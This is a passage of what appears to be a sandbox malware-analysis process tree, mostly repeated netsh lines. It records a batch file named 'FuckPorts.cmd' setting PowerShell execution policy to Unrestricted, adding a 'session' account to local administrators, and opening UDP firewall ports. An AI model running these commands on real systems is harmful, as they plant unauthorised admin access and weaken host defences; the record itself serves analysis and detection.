    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:5604
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6232
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:5768
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6084
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:5476
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:3760
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K FuckPorts.cmd
  2⤵
  PID:1324
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command "Set-ExecutionPolicy Unrestricted"
    3⤵
    PID:4368
- - C:\Windows\system32\net.exe
    net localgroup administrators session /ADD
    3⤵
    PID:4452
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup administrators session /ADD
      4⤵
      PID:4008
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:3928
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:2748
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:3760
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:1264
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:1960
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:400
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:1028
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:4900
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:4568
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:1240
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:4992
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:2488
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:4156
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:3760
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:4816
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:5480
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:5908
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:3340
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:5632
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:5932
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:3340
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:5624
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:5924
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:5220
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:5636
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:5220
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:5760
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:5612
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:5280
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6192
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6316
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6448
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6628
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6788
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6908
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6996
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:7092
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:5956
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6356
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6388
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6644
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6696
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6796
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6984
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:5776
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6240
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6440
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6644
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6924
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:7068
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:7120
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6376
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6472
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:1240
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6808
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:5436
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6348
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6596
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:4332
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:5128
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6860
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6212
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6460
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6392
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6532
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6468
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6912
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:7152
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:7004
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6432
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6764
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6916
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:7032
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:7084
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6600
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:7096
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:1952
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6456
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6948
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6836
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6372
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6728
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6304
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:4088
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6400
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:7028
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:7084
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:2888
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6940
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6240
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6512
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6648
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6400
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6924
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:3748
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6872
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:5436
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6336
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6528
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:2324
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6940
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6988
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:976
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6876
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:3332
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6656
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6472
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6356
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:5456
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:1492
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:5352
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6604
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6072
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:5788
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6672
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:3340
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K FuckPorts.cmd
  2⤵
  PID:2104
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command "Set-ExecutionPolicy Unrestricted"
    3⤵
    PID:208
- - C:\Windows\system32\net.exe
    net localgroup administrators session /ADD
    3⤵
    PID:1320
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:4996
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:4668
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:3744
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:4336
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:3708
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:4996
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:4868
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:1788
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:2504
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:940
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:4868
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:4464
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:1028
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:1000
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:4568
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:1616
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:4972
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:5292
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:5760
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6132
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:5552
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:5872
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6132
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:5384
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:5956
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6060
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:5340
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:5268
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:5740
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6060
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:1420
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:5776
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6224
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6508
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6744
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6824
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:7064
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:5280
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6256
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6304
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6456
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6700
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6788
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:7020
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6968
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6376
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6476
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6508
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6740
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6840
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6156
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6360
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6432
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6464
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6648
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6876
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:7016
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:7096
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:5760
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6252
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6752
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6892
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
